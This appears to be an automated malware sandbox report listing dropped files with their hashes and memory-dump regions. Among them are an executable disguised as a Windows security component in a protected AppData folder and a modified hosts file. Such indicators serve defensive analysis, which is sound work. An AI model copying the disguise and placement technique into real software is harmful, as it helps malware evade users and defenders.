C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
dbb22d95851b93abf2afe8fb96a8e544

SHA1
920ec5fdb323537bcf78f7e29a4fc274e657f7a4

SHA256
e1ee9af6b9e3bfd41b7d2c980580bb7427883f1169ed3df4be11293ce7895465

SHA512
16031134458bf312509044a3028be46034c544163c4ca956aee74d2075fbeb5873754d2254dc1d0b573ce1a644336ac4c8bd7147aba100bfdac8c504900ef3fc

Download Submit
C:\Users\Admin\AppData\Local\Temp\EVwvdmSNIl\Display (1).png

Filesize
427KB

MD5
121110828d54f76cab57fd51bfd1da97

SHA1
671f7e593837a1f5b5a0a05193be480abcc37329

SHA256
f7f29873fcc4582630555186c0d4943b42ee05732ec8a40939e3ffb8d37e70fb

SHA512
becbc22f6f7e1a677959752daeb7bd061e6f5971a9c6d500d9b3a4b160a8a66560d298abfc0082440f94172c7b613ecb60dad4f531562111f230b8926fe96815

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES61C7.tmp

Filesize
1KB

MD5
b173037c5a34c860ef8147cd0bdb3a2a

SHA1
3d90b3799256b3c2040d39b46a78083abcd72d26

SHA256
ed0c75d7fe711d6d794d750867e8d2b4eca2f1cbea8784a7314baddcf7644a73

SHA512
761e89fe43b2847bc05fe6948567d03a246dd8a0a48447156121564570ade044a0a2a8c889718fb28ba3459d22d7c11b1ba3c1552d0d86465f2f0f0daedd431f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ljmitv4a.utx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\iso10knp\iso10knp.dll

Filesize
4KB

MD5
8401f9a6032453bb1b6e9a15c9dfcb80

SHA1
ace54622c9a6ca007452f5bd2ba8a8c370ba1758

SHA256
6f6e8d4b9cbe4ce0698823d535728accb25c5b73a08b4f82c64bbc2ee04fef8e

SHA512
6962bba9c4c953b5c5f90d2cfdc25ae3481f2797bba9eec5379125ecd79df185b552932534dc4ff29626b5b7d6eb333bed1472940677872c76da1541df2353cc

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

Filesize
9.5MB

MD5
4527ef40b2543cbfa46d35c25f741dae

SHA1
f01565f1b655a840a6a4b1cbc070659014508aee

SHA256
99fb0eca4614a74886d2d1221045c9f35b4ac7400488db84fdcebdc6bde2f88e

SHA512
ab4b576dbbfdbb8fe4f1b170fbb9de9a484ff89fcdda60df90d524a6e0ab63e6f564cb471424dfad8fea9ef49b17bfe5c4b8ddd7be6997d8ba725d3461da4316

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
2KB

MD5
6e2386469072b80f18d5722d07afdc0b

SHA1
032d13e364833d7276fcab8a5b2759e79182880f

SHA256
ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

SHA512
e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\iso10knp\CSC8ABB16698AF4C4C871C1FFBC5D13F8.TMP

Filesize
652B

MD5
4853c2d802674e85bf6815d86702b4d3

SHA1
0ebd23dd99ad7e7e1db757d5af5c3cde736ce4bc

SHA256
a3278d3ef4e3b2f73f752375c5aca0b5b3e408d3542f42f68edbfc4c83b88f8a

SHA512
aecd0633ccb2b10f99235ee2d1e545e1b761bcb34ea331754150b6c2429aaaf8b5a302f6056c06a5b2e7c4b4507492f7a48f567ab5e50fc40b7e2914a7a74309

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\iso10knp\iso10knp.0.cs

Filesize
1004B

MD5
c76055a0388b713a1eabe16130684dc3

SHA1
ee11e84cf41d8a43340f7102e17660072906c402

SHA256
8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

SHA512
22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\iso10knp\iso10knp.cmdline

Filesize
607B

MD5
b979257e0829e3cbe401aee55b811701

SHA1
0f429e93e4c02d6ba0d0283ceb79987e1f56816c

SHA256
59cc9f1280807e26f8894c175a88d858d46d4251a658380eea34a37741383556

SHA512
7f05a22c2ae350484068864f2b1b41d56286240598bff71ba947b3add707336c55ac755266bdfe7fda31be61ef021ca3f764fa2118353e09b1d358476889ae92

Download Submit
memory/3112-0-0x00007FF8F8F33000-0x00007FF8F8F35000-memory.dmp

Filesize
8KB

Download
memory/3112-25-0x00007FF8F8F30000-0x00007FF8F99F1000-memory.dmp

Filesize
10.8MB

Download
memory/3112-12-0x00007FF8F8F30000-0x00007FF8F99F1000-memory.dmp

Filesize
10.8MB

Download
memory/3112-11-0x00007FF8F8F30000-0x00007FF8F99F1000-memory.dmp

Filesize
10.8MB

Download
memory/3112-6-0x000001A6F9E60000-0x000001A6F9E82000-memory.dmp

Filesize
136KB

Download
memory/4228-74-0x0000020B9E520000-0x0000020B9E528000-memory.dmp

Filesize
32KB

Download
memory/4580-41-0x00000209E3590000-0x00000209E37AC000-memory.dmp

Filesize
2.1MB

Download